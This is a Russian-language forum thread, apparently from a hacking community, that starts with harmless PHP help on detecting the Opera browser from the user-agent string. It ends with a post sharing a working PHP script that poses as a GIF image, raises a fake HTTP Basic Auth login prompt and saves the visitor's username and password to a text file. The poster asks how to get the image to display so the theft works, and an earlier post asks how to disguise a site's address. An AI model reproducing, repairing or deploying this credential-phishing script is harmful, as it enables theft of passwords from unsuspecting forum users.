 |
|

23.04.2008, 08:32
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами:
10021597
Репутация:
905
|
|
$_SERVER['HTTP_USER_AGENT'] - большими буквами. Или через get_browser()
Последний раз редактировалось krypt3r; 23.04.2008 в 08:49..
|
|
|

23.04.2008, 09:07
|
|
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
С нами:
10114335
Репутация:
32
|
|
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
Последний раз редактировалось Хелпер; 23.04.2008 в 09:09..
|
|
|

23.04.2008, 09:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами:
10021597
Репутация:
905
|
|
Вариантов куча
PHP код:
if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
echo "Это опера";
Можно другими функциями - ereg, preg_match, stristr...
|
|
|

23.04.2008, 09:31
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами:
10107625
Репутация:
67
|
|
Сообщение от Хелпер
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
PHP код:
<?
$x = $_SERVER['HTTP_USER_AGENT'];
$y = 'Opera';
$check = strpos($x, $y);
if ($check === false)
{
echo 'Другой браузер<br>';
}
else
{
echo 'Опера';
}
?>
вот тут пофиг какая версия=)
и еще посмари переменную сервер много полезного увидишь)))
PHP код:
<?
echo '<pre>';
print_r ($_SERVER);
echo '</pre>';
?>
|
|
|

23.04.2008, 13:59
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru
|
|
|

23.04.2008, 14:02
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами:
9799586
Репутация:
1385
|
|
это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..
|
|
|

23.04.2008, 14:03
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
А с помощью PhP это некак нельзя сделать?
|
|
|

23.04.2008, 14:11
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами:
9799586
Репутация:
1385
|
|
нет - потому что это никак не связано ...
|
|
|

23.04.2008, 18:45
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами:
9626394
Репутация:
357
|
|
А еще есть какие нибудь способов кроме таво?
|
|
|

23.04.2008, 21:06
|
|
Новичок
Регистрация: 21.04.2008
Сообщений: 4
С нами:
9502989
Репутация:
0
|
|
Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
PHP код:
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image = ImageCreateFromGif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|